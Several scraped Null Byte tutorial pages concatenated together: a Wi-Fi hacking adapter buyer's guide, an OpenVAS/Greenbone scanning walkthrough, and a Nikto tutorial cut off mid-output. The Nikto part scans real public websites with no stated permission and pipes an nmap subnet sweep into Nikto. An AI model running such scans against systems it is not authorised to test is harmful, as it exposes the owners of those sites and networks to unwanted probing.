( Recovering Deleted Files )Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)News:Airline Offers Frequent Flyer Miles to HackersNews:What to Expect from Null Byte in 2015Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 14 (Live Memory Forensics)Hack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files)Hack Like a Pro:How to Hack Facebook (Facebook Password Extractor)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 3 (Recovering Deleted Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Goodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker Training
Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019 « Null Byte :: WonderHowTo
To hack a Wi-Fi network using Kali Linux, you needyour wireless cardto support monitor mode and packet injection. Not all wireless cards can do this, so I've rounded up this list of 2019's best wireless network adapters for hacking on Kali Linux to get you started hacking both WEP and WPA Wi-Fi networks.Wi-Fi Hacking for BeginnersKali Linux is by far the best supported hacking distro for beginners, and Wi-Fi hacking on Kali (previously called BackTrack) is where I started my own journey into hacking. In order to hack Wi-Fi, you will quickly learn that a wireless network adapter supporting packet injection and monitor mode is essential. Without one, many attacks are impossible, and the few that work can take days to succeed. Fortunately, there are several good adapters to choose from.Don't Miss:Select a Field-Tested Kali Linux Compatible Wireless AdapterA range of Kali Linux compatible network adapters.Image by SADMIN/Null ByteIf you're new to hacking Wi-Fi, Null Byte'sKali Pi hacking platformis a great way to get started hacking on Kali Linux for little investment. Any of the wireless network adapters on this list can be combined with a Raspberry Pi to build your own Wi-Fi hacking computer.A Raspberry Pi with a supported network is a powerful, low-cost Kali Linux hacking platform.Image by SADMIN/Null ByteDon't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running KaliWhat's so great about wireless network adapters? By swapping out the antenna or adapter type, we can target different kinds of networks. We can even target far-away networks with the addition of special super long-range directional antennaslike the Yagi antenna($91.99).Chipsets Supported by Kali LinuxSo how do you pick the best wireless network adapter for hacking? If you're hacking on Kali, certain chipsets (the chip that controls the wireless adapter) will work without much or any configuration needed.Atheros AR9271 chipset inside the ALFA Network AWUS036NHA.Image by Maintenance script/WikidevChipsets that work with Kali include:Atheros AR9271Ralink RT3070Ralink RT3572Realtek 8187L (Wireless G adapters)Realtek RTL8812AU(newly in 2017)my research also suggests theRalink RT5370Nis compatibleIn 2017, Kali Linux began supporting drivers for theRTL8812AUwireless chipsets. These drivers are not part of the standard Linux kernel and have been modified to allow for injection. This is a big deal because this chipset is one of the first to support 802.11 AC, bringing injection-related wireless attacks to this standard.Kali Linux compatible adapters.Image by SADMIN/Null ByteAdapters That Use the Ralink RT3070 ChipsetThe Alfa AWUS036NH 2.4 GHz($31.99 on Amazon)The Alfa AWUS036NH is a b/g/n adapter with an absurd amount of range. This is amplified by the omnidirectional antenna and can be paired with aYagi($29.95) orPaddle($23.99) antenna to create a directional array.The AWUSO36NH.Image by SADMIN/Null ByteThe Alfa AWUS036NEH 2.4 GHz($29.99 on Amazon)If you're looking for a somewhat more compact wireless adapter that can be plugged in via USB, the Alfa AWUS036NEH is a powerful b/g/n adapter that's slim and doesn't require a USB cable to use.The AWUS036NEH, relatively compact with extreme range.Image by SADMIN/Null ByteThe Panda PAU05 2.4 GHz($13.99 on Amazon)Sometimes you need a stealthier option that's still powerful enough to pwn networks without making a big fuss about plugging in large, suspicious network adapters. Consider the g/n PAU05, affectionately nicknamed "El Stubbo" and a personal favorite both for its low profile and its aggressive performance in the short and medium range. Consider this if you need to gather network data without including everything within several blocks.A note on the Panda from one of our readers:The Panda PAUO5 on Amazon won't do packet injection. It seems they now ship with an unsupported chipset (RT5372), so make sure yours has the correct chipset!The PAU05, a super low-profile option that is one of my favorites.Image by SADMIN/Null ByteAdapters That Use the Atheros AR9271 ChipsetThe Alfa AWUS036NHA 2.4 GHz($37.69 on Amazon)The Alfa AWUS036NHA is my current long-range network adapter and the standard by which I judge other long-range adapters. For a long-range application, thispaired with a ridiculously big adapter($9.99) is a stable, fast, and well-supported b/g/n wireless network adapter.The AWUS036NHA, featuring great long-range performance.Image by SADMIN/Null ByteThe TP-LINK TL-WN722N 2.4 GHz($14.99 on Amazon)A favorite for newbies and experienced hackers alike, this compact b/g/n is among the cheapest but boasts surprisingly impressive performance. That being said,only v1 of this adapter will work with Kali Linux. The v2 version of this adapter is a different chipset, so make sure you check to see which yours is!WARNING: Only version ONE of this adapter will work with Kali.Image by SADMIN/Null ByteAdapters That Use the Ralink RT5370N ChipsetThe Detroit DIY Electronics Wifi Antenna For Raspberry Pi($11.99 on Amazon)While I haven't tested this IEEE 802.11n compatible adapter personally, the chipset is supported in Kali and it supports monitor mode. For an extremely compact adapter with an external antenna mount for swapping different types of antennas, the Detroit DIY Electronics Wifi Antenna For Raspberry Pi is a good starter option.Compact option from Detroit Electronics.Image viaDetroit ElectronicsAdapters That Use the Realtek RTL8812AU Chipset (New)The Alfa AWUS036ACH 802.11ac AC1200 Wide-Range USB 3.0 Wireless Adapter with External Antenna($59.99 on Amazon)Newly supported in 2017, the Alfa AWUS036ACH is a beast, with dual antennas and 2.4 GHz 300 Mbps/5 GHz 867 Mbps – 802.11ac and a, b, g, n compatibility. This is the newest offering I've found that's compatible with Kali, so if you're looking for the fastest and longest range, this would be the adapter to start with.To use this, you may need to first run the following.apt updateapt install realtek-rtl88xxau-dkmsThis will install the needed drivers, and you should be good to go.The Alfa AWUS036ACH, ready to hack on 802.11ac.Image viaAlfa WebsiteOther OptionsDuring my research, I also came across the following adapters with supported chipsets, but only anecdotal evidence of packet injection and monitor mode. If you're feeling adventurous, you can pick up one of the following supported adapters mention in the comments how it works for you.TheWiFi Module 4($27.95) by Hard Kernel uses the supported Ralink RT5572 chipset, which adds 5 GHz capabilities, and also works in 2.4 GHz.An ultra-compact option is also theWiFi Module 0($7.95), also by Hard Kernel, based on Ralink RT5370N chipset.Some of the top wireless network adapters for hacking.Image by SADMIN/Null ByteThat completes my roundup of wireless network adapters for hacking in 2019. Got a favorite I didn't list? Leave a comment and link us to it.Don't Miss:How to Select a Field-Tested Kali Linux Compatible Wireless AdapterFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Spy on Network Relationships with Airgraph-NgHow To:Hack Wi-Fi Networks with BettercapHow To:Automate Wi-Fi Hacking with Wifite2How To:Extend a (Hacked)Router's Range with a Wireless Adapter.How to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Pick an Antenna for Wi-Fi HackingHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyNews:The Best Black Friday 2019 Deals for iPhone & Android ChargersHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Intercept Images from a Security Camera Using WiresharkHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHacking Android:How to Create a Lab for Android Penetration TestingHacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Crack Wi-Fi Passwords—For Beginners!How To:Find Saved WiFi Passwords in WindowsHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)News:Secure Your Wireless Network from Pillage and Plunder in 8 Easy Steps
How to Perform a Large-Scale Network Security Audit with OpenVAS's GSA « Null Byte :: WonderHowTo
In my previous article, I discussedinstalling and configuring OpenVAS on Kali Linux. Now it's time to start using OpenVAS with the Greenbone Security Assistant to audit networks for security issues. This can be extremely helpful when you are looking for vulnerabilities or misconfigurations in a large number of hosts.When dealing with any form of mass scanning utility, there are some drawbacks. This type of scanning is noisy. In this context, "noisy" means active scans are being conducted which may be logged or detected. If you want to keep your presence a secret, this is not the tool to use. This type of scanning is also prone to false positives. You will need to confirm that what the tool is reporting is correct before taking it as an absolute fact.With that said, let's have a look at the Greenbone Security Assistant, a web-based GUI for OpenVAS. If you installed and configured OpenVAS and GSA to operate on a headless machine, you can access it at https://YourMachineAddress:9392 . If you configured it to operate locally, you can access it athttps://127.0.0.1:9392.You may also need to bring the associated services up with the commandopenvas-start. You will need to log in with "admin" as the username. The password for the admin account is generated during the setup process for OpenVAS. If you haven't runopenvas-setup, see my previous article linked below.Previously:How to Install OpenVAS for Broad Vulnerability AssessmentAfter logging in, you will be presented with the Greenbone dashboard.Step 1: Use the Automated Task Wizard to Scan for VulnerabilitiesGSA's Task Wizard is the easiest way to get up and running with scanning. It requires very little setup and has sane defaults to get started quickly. When we first access GSA, we are presented with the dashboard which gives us some statistics related to our usage.On the first run, there's not a lot going on. Let's start by running a scan against my Metasploitable 2 virtual machine (VM). Before we start the scan, I'd like to talk a little bit about Metasploitable 2.Metasploitable 2 is an intentionally vulnerable Linux distribution. It allows testing of vulnerability assessment tools in a safe and, most importantly, legal environment. The version of Metasploitable that I am using is not the most recent version. Running a modern, up-to-date vulnerability scanner like GSA against it should produce quite a few interesting results.If you want the most recent version of Metasploitable, version 3 can be foundon GitHub. You can download version 2 (which I'm using)from SourceForge. For a Raspberry Pi-based version of a vulnerable machine, check out our guide linked below.More Information:How to Set Up a Practice Computer to Kill on a Raspberry Pi 3Now that that's out of the way, select the "Scans" tab on the dashboard, a drop-down menu will appear — select "Tasks." For this guide, we'll use the wizard to set up our scan, so click on the wand icon in the top left to select the "Task Wizard."I will be scanning a single host on my network. However, GSA acceptsCIDRnotation, making it incredibly easy to scan an entire subnet. Once you are satisfied with your target, click "Start Scan."Don't Miss:How to Scan for Vulnerabilities with NessusWe can see the status of the scan under theStatuscolumn. At this point, I've had the scan going for around 20 minutes.When the scan is complete, my vulnerable machine receives a 10 out of 10 for severity.Let's have a look at some of the issues Greenbone Security Assistant has found. In theReportscolumn, under theLastsub-column, click on the date. This will bring up the report's results page.We got a lot of hits! Of course, not all of these will lead to ingress, but it gives an excellent starting point to assess high-level problems. Clicking on a vulnerability will give a summary of the issue detected.The Task Wizard isn't the only way to use the Greenbone Security Assistant. You can create custom scans, custom scan rules, and schedule scans to run while the machine is not in use. I like the wizard because it gives me a quick overview of potential vulnerabilities.Step 2: Scan for Vulnerabilities with Custom TasksSometimes, the Task Wizard isn't what you're looking for. It's important to know how to create your own scanning task. To get started, hover over the "Scans" tab at the top of the page. Select the "Tasks Options." Hover over the star icon in the top left corner, then click the "New Task" option. You will be presented with a dialog that allows you to configure your new task.Let's talk about some of the less obvious options here.Scan Targetsis a drop-down menu. At the moment, our scan target is the entire subnet. To add a target, you can click on the star icon to the right of the drop-down menu.TheAlertsoption allows us to configure alerts. Click the star beside it for options like task status changes, severity levels, and matching results. Greenbone Security Assistant will email you if any of the criteria are met. "Overrides" allow you to override the reporting behavior of GSA, which can be helpful to sort results and reduce false positives.TheMin QoDis the quality of detection, which indicates how sure the scanner is that this vulnerability exists. As it is set at 70 percent, there will be some false positives. At 100 percent, the reports will only contain vulnerabilities that were exploited. This can help filter results.Using OpenVAS & GSA in the Real WorldOpenVAS with Greenbone Security Assistant is a great, open-source way to locate potential issues on a network. In the hacking world, using a loud active scanner like OpenVAS would almost certainly expose your presence to network admins. In a security audit, however, it's an excellent starting point to gain a "helicopter view" of potential targets. The reports are not 100 percent accurate, and they may miss things, but vulnerability scanners like OpenVAS are essential to providing high-level insight while assessing network issues.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byhxdbzxy/123RF; Screenshots by Barrow/Null ByteRelatedHow To:Install OpenVAS for Broad Vulnerability AssessmentHow To:Get OpenVas Working Properly in KaliHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Hack a network with Nessus 3How To:Scan Your Samsung Galaxy S3 for Malware, Infected Apps, & Unauthorized SurveillanceAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:A Hitchhiker's Guide to the Internet: Today and Now, How It All ConnectsHow To:Hack a NETBIOS IPC$ shareNews:What REALLY Happened with the Juniper Networks Hack?How to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Audit Web Applications & Servers with TishnaHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Port scan with NmapHow to Hack Like a Pro:Getting Started with MetasploitNews:Life Becomes More Difficult for Driverless HackersHow To:Use SELinux Targeted Policy to Secure Your HostsVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:How a Home Energy Audit Can Lower Your Energy CostsIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Obama and Congress Approve Resolution that Supports UN Internet TakeoverNews:Bugzilla Cross Site Request ForgeryNews:Backtrack 5 Security EssentialsNews:Secure Your Wireless Network from Pillage and Plunder in 8 Easy StepsNews:Want a Career in IT Security? Our IT Recruiter Shares the Top Qualifications in Demand Right NowTor vs. I2P:The Great Onion DebateRevealed:Hundreds of words to avoid using onlineNews:Ron Paul’S Audit the Fed Bill Overwhelmingly Passes in the HouseGHOST PHISHER:Security Auditing ToolHow To:Secure Your Computer with Norton DNSDon't Get Doxed:5 Steps to Protecting Your Private Information on the WebFor Sale:JFK's Crusty, 48-Year-Old Birthday CakeNews:Accounting and Finance DegreeNews:Senate Dems back increase in air travel fee to close funding shortfall at TSANews:40 Fed Agencies Man Command Center Outside ChicagoNews:Massive Leak! Wikileaks publishes Stratfor emails.Beyond the Still:Chapter 2 Winner
How to Scan for Vulnerabilities on Any Website Using Nikto « Null Byte :: WonderHowTo
Before attacking any website, a hacker or penetration tester will first compile a list of target surfaces. After they've used some goodreconand found the right places to point their scope at, they'll use a web server scanning tool such as Nikto for hunting down vulnerabilities that could be potential attack vectors.Nikto is a simple, open-source web server scanner that examines a website and reports back vulnerabilities that it found which could be used to exploit or hack the site. Also, it's one of the most widely used website vulnerabilities tools in the industry, and in many circles, considered the industry standard.Although this tool is extremely effective, it'snotstealthy at all. Any site with anintrusion-detection systemor other security measures in place will detect that it's being scanned. Initially designed for security testing, stealth was never a concern.Don't Miss:Use Metasploit's WMAP to Scan Web Apps for VulnerabilitiesThe Right Way to Use NiktoIf you just run Nikto by itself on a targeted website, you may not know what to do with the information from the scan. Nikto is actually more like a laser pointer to call in a much larger strike, and you'll see how that plays out in a little bit.First, let's talk about the target surface. This is pretty much anywhere a hacker will attempt to attack and could include things such as network-exposed printers and a web server. When we get to using Nikto later, we'll need to provide it with one of three different types of information: an IP address for a local service, a web domain to attack, or an SSL/HTTPS website.Before diving right into a scan with Nikto, it's better to do some additional reconnaissance using an open-source intelligence tool such asMaltego. Tools like this can help build a profile and a more focused list of available targets that should be concentrated on. Once that's done, Nikto can be used to hone in on potential vulnerabilities for targets on the list.Don't Miss:How to Use Maltego to Fingerprint an Entire NetworkIf lucky, a vulnerability with a weaponized exploit will be found, meaning there's a tool out there already to take advantage of the weakness. With the appropriate tool, which will automatically exploit the vulnerability, a hacker can gain access to the target to perform any number of behind-the-scenes attacks, like adding code to perform a malicious activity.Step 1: Install NiktoIf you're running Kali Linux, Nikto comes preinstalled, so you don't have to download or install anything. It'll be located in the "Vulnerability Analysis" category. If you don't have it for some reason, you can get Nikto fromits GitHubor just use theapt installcommand.apt install niktoIf you're doing this on a Mac, you can useHomebrewto install Nikto.brew install niktoStep 2: Get to Know NiktoBefore you dive into scanning web servers with Nikto, lets you use the-Helpoption to see everything that can be done inside Nikto.nikto -HelpOptions: -ask+ Whether to ask about submitting updates yes Ask about each (default) no Don't ask, don't send auto Don't ask, just send -Cgidirs+ Scan these CGI dirs: "none", "all", or values like "/cgi/ /cgi-a/" -config+ Use this config file -Display+ Turn on/off display outputs: 1 Show redirects 2 Show cookies received 3 Show all 200/OK responses 4 Show URLs which require authentication D Debug output E Display all HTTP errors P Print progress to STDOUT S Scrub output of IPs and hostnames V Verbose output -dbcheck Check database and other key files for syntax errors -evasion+ Encoding technique: 1 Random URI encoding (non-UTF8) 2 Directory self-reference (/./) 3 Premature URL ending 4 Prepend long random string 5 Fake parameter 6 TAB as request spacer 7 Change the case of the URL 8 Use Windows directory separator (\) A Use a carriage return (0x0d) as a request spacer B Use binary value 0x0b as a request spacer -Format+ Save file (-o) format: csv Comma-separated-value htm HTML Format nbe Nessus NBE format sql Generic SQL (see docs for schema) txt Plain text xml XML Format (if not specified the format will be taken from the file extension passed to -output) -Help Extended help information -host+ Target host -404code Ignore these HTTP codes as negative responses (always). Format is "302,301". -404string Ignore this string in response body content as negative response (always). Can be a regular expression. -id+ Host authentication to use, format is id:pass or id:pass:realm -key+ Client certificate key file -list-plugins List all available plugins, perform no testing -maxtime+ Maximum testing time per host (e.g., 1h, 60m, 3600s) -mutate+ Guess additional file names: 1 Test all files with all root directories 2 Guess for password file names 3 Enumerate user names via Apache (/~user type requests) 4 Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests) 5 Attempt to brute force sub-domain names, assume that the host name is the parent domain 6 Attempt to guess directory names from the supplied dictionary file -mutate-options Provide information for mutates -nointeractive Disables interactive features -nolookup Disables DNS lookups -nossl Disables the use of SSL -no404 Disables nikto attempting to guess a 404 page -Option Over-ride an option in nikto.conf, can be issued multiple times -output+ Write output to this file ('.' for auto-name) -Pause+ Pause between tests (seconds, integer or float) -Plugins+ List of plugins to run (default: ALL) -port+ Port to use (default 80) -RSAcert+ Client certificate file -root+ Prepend root value to all requests, format is /directory -Save Save positive responses to this directory ('.' for auto-name) -ssl Force ssl mode on port -Tuning+ Scan tuning: 1 Interesting File / Seen in logs 2 Misconfiguration / Default File 3 Information Disclosure 4 Injection (XSS/Script/HTML) 5 Remote File Retrieval - Inside Web Root 6 Denial of Service 7 Remote File Retrieval - Server Wide 8 Command Execution / Remote Shell 9 SQL Injection 0 File Upload a Authentication Bypass b Software Identification c Remote Source Inclusion d WebService e Administrative Console x Reverse Tuning Options (i.e., include all except specified) -timeout+ Timeout for requests (default 10 seconds) -Userdbs Load only user databases, not the standard databases all Disable standard dbs and load only user dbs tests Disable only db_tests and load udb_tests -useragent Over-rides the default useragent -until Run until the specified time or duration -update Update databases and plugins from CIRT.net -useproxy Use the proxy defined in nikto.conf, or argument http://server:port -Version Print plugin and database versions -vhost+ Virtual host (for Host header) + requires a valueStep 3: Use the Basic SyntaxAs you can see from the previous step, Nikto has many options, but for our purposes, we'll stick to the basic syntax as follows. We'll substitute the <IP or hostname> with the actual IP address or hostname sans angle brackets.nikto -h <IP or hostname>However, Nikto is capable of doing a scan that can go after SSL and port 443, the port that HTTPS websites use (HTTP uses port 80 by default). So we're not just limited to scanning old sites, we can do vulnerability assessments on sites that use SSL, which is pretty much a requirement these days to be indexed in search results.If we know it's an SSL site that we're targeting, we can specify it in Nikto to save some time on the scan by adding-sslto the end of the command.nikto -h <IP or hostname> -sslStep 4: Scan an SSL-Enabled WebsiteFor example, let's start with scanning pbs.org to see some of the types of information that a Nikto scan will show. After it connects to port 443, we see that there's some useful information about the cipher and a list of other details like that the server is Nginx, but there's not a whole lot of interesting data here for us.nikto -h pbs.org -ssl- Nikto v2.1.6 ------------------------------------------------------------------------------ - STATUS: Starting up! + Target IP: 54.225.198.196 + Target Hostname: pbs.org + Traget Port: 443 ------------------------------------------------------------------------------ + SSl Info: Subject: /CN=www.pbs.org Altnames: account.pbs.org, admin.pgs.org, dipsy-tc.pbs.org, docs.pbs.org, ga.video.cdn.pbs.org, git.pbs.org, heart.ops.pbs.org, hub-dev.pbs.org, image.pbs.org, jaws..pbs.org, kids.pbs.org, koth-qa.svp.pbs.org, login.pbs.org, ops.pbs.org, pbs.org, player.pbs.org, projects.pbs.org, sentry.pbs.org, teacherline.pbs.org, urs.pbs.org, video.pbs.org, weta-qa.svp.pbs.org, whut-qa.svp.pbs.org, wnet.video-qa.pbs.org, wnet.video-staging.pbs.org, www-cache.pbs.org, www.pbs.org Ciphers: ECDHE-RSA-AES128-GCM-SHA256 Issuer: /C-US/0=Let's Encrypt/CN=Let's Encrypt Authority X3 + Start Time: 2018-12-05 23:34:06 (GMT-8) ------------------------------------------------------------------------------ + Server: nginx + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + Uncommon header 'x-pbs-fwsrvname' found, with contents: fwcacheproxy1 + The site uses SSL and the Strict-Transport-Security HTTP header is not defined. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Root page / redirects to: https://www.pbs.org/ + No CGI Directories found (use '-C all' to force check all possible dirs) + RC-1918 IP address found in the 'x-pbs-appsvrip' header: The IP is "10.137.181.52". + Uncommon header 'x-cache-fs-status' found, with contents: EXPIRED + Uncommon header 'x-pbs-appsvrname' found, with contents: fwcacheproxy1 + Uncommon header 'x-pbs-appsvrip' found, with contents: 10.137.181.52 + Server leaks inodes via ETags, header found with file /pbs.org.zip, fields: 0x5b96537e 0x1678 + 7446 requests: 0 error(s) and 10 item(s) reported on remote host + End Time: 2018-12-06 00:30:29 (GMT-8) (3383 seconds) ------------------------------------------------------------------------------ + 1 host(s) testedStep 5: Scan an IP AddressNow that we performed a quick scan of a website, let's try using Nikto on a local network to find embedded servers such as a login page for a router or an HTTP service on another machine that's just a server with no website. To get started, let's find our IP address usingifconfig.ifconfigen0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 inet 192.168.0.48 netmask 0xffffff00 broadcast 192.168.0.255 inet6 XXXX::XXX:XXXX:XXXX:XXXX%en0 prefixlen 64 secured scopeid 0x8 ether XX:XX:XX:XX:XX:XX txqueuelen 1000 (Ethernet) inet6 XXXX::XXX:XXXX:XXXX:XXXX%en0 prefixlen 64 autoconf secured inet6 XXXX::XXX:XXXX:XXXX:XXXX%en0 prefixlen 64 autoconf temporary nd6 options=201<PERFORMNUD,DAD> media: autoselect status: active en2: flags=8863<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500 options=60<TS04,TS06> ether XX:XX:XX:XX:XX:XX media: autoselect <full-duplex> status: inactiveThe IP address we want is the "inet" one. Then we can runipcalcon it to get our network range. If you don't haveipcalc, you can install it withapt install ipcalc, then try again. The range will be next to "Network," in my case, 192.168.0.0/24.ipcalc 192.168.0.48Address: 192.168.0.48 11000000.10101000.00000000. 00110000 Netmask: 255.255.255.0 = 24 11111111.11111111.11111111. 00000000 Wildcard: 0.0.0.255 00000000.00000000.00000000. 11111111 => Network: 192.168.0.0/24 11000000.10101000.00000000. 00000000 HostMin: 192.168.0.1 11000000.10101000.00000000. 00000001 HostMax: 192.168.0.254 11000000.10101000.00000000. 11111110 Broadcast: 192.168.0.255 11000000.10101000.00000000. 11111111 Hosts/Net: 254 Class C, Private InternetNow, we're going to want to runNmapto find services running in the network range. Let's scan port 80 with our range and tack on-oG(grepable output) to extract only the hosts that are up and running, i.e., the ones responding indicating that port 80 is open. Then we'll save everything to a file, which I'm namingnullbyte.txt, but could be named anything.nmap -p 80 192.168.0.0/24 -oG nullbyte.txtStarting Nmap 7.60 ( https://nmap.org ) at 2018-12-06 00:43 PST Nmap scan report for 192.168.0.1 Host is up (0.021s latency). PORT STATE SERVICE 80/tcp open http Nmap scan report for 192.168.0.2 Host is up (0.088s latency). PORT STATE SERVICE 80/tcp open http Nmap scan report for 192.168.0.4 Host is up (0.032s latency). PORT STATE SERVICE 80/tcp open http Nmap scan report for 192.168.0.5 Host is up (0.020s latency). PORT STATE SERVICE 80/tcp open http Nmap scan report for 192.168.0.11 Host is up (0.068s latency). PORT STATE SERVICE 80/tcp closed http Nmap scan report for 192.168.0.24 Host is up (0.023s latency). PORT STATE SERVICE 80/tcp closed http Nmap scan report for 192.168.0.31 Host is up (0.059s latency). PORT STATE SERVICE 80/tcp closed http Nmap scan report for 192.168.0.48 Host is up (0.030s latency). PORT STATE SERVICE 80/tcp closed http Nmap scan report for 192.168.0.60 Host is up (0.092s latency). PORT STATE SERVICE 80/tcp closed http Nmap done: 256 IP addresses (9 hosts up) scanned in 8.92 secondsThere's a nice little trick that can send all the up hosts directly to Nikto for scanning. We usecatto read the output stored in ournullbyte.txtdocument (or whatever you named it). Then, there'sawk, a Linux tool that will help search for the following pattern, whereUpmeans the host is up andprint $2means to print out the second word in that line for each, i.e., just the IP address. Then, we send that data to a new file calledtargetIP.txt(or whatever you'd like to name it).cat nullbyte.txt | awk '/Up$/{print $2}' | cat >> targetIP.txtWe can now view the contents of our new file withcatto see all the IP addresses that have port 80 open.cat targetIP.txt192.168.0.1 192.168.0.2 192.168.0.4 192.168.0.5 192.168.0.11 192.168.0.24 192.168.0.31 192.168.0.48 192.168.0.60This is perfect for Nikto because it can easily interpret files like this. So we can send this output over to Nikto with the following command.nikto -h targetIP.txtThe results will look similar to the ones we got when performing the SSL scan.Step 6: Scan an HTTP WebsiteWe've scanned a secure website and an IP address on a local network, and now it's time to go after an unsecured web domain using port 80. For this example, I'm using "afl.com.au,' which was not using SSL at the time I performed this scan.nikto -h www.afl.com.au- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 159.180.84.10 + Target Hostname: www.afl.com.au + Target Port: 80 + Start Time: 2018-12-05 21:48:32 (GMT-8) --------------------------------------------------------------------------- + Server: instart/nginx + Retried via header: 1.1 varnish (Varnish/6.1), 1.1 e9ba0a9a729ff2960a04323bf1833df8.cloudfront.net (CloudFront) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + Uncommon header 'x-cache' found, with contents: Miss from cloudfront + Uncommon header 'x-instart-cache-id' found, with contents: 17:12768802731504004780::1544075250 + Uncommon header 'v-cache-hit' found, with contents: Hit + Uncommon header 'x-amz-cf-id' found, with contents: Dr-r6OwO5kk9ABt4ejzpc7R7AIF6SuH6kfJHQgP0v6xZoHwMLE55rQ== + Uncommon header 'x-instart-request-id' found, with contents: 12814413144077601501:BEQ01-CPVNPPRY18:1552504721:0 + Uncommon header 'x-oneagent-js-injection' found, with contents: true + Uncommon header 'grace' found, with contents: cache + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Uncommon header 'x-ruxit-js-agent' found, with contents: true + Cookie dtCookie created without the httponly flag + Server banner has changed from 'instart/nginx' to 'nginx' which may suggest a WAF, load balancer or proxy is in place + No CGI Directories found (use '-C all' to force check all possible dirs) + Entry 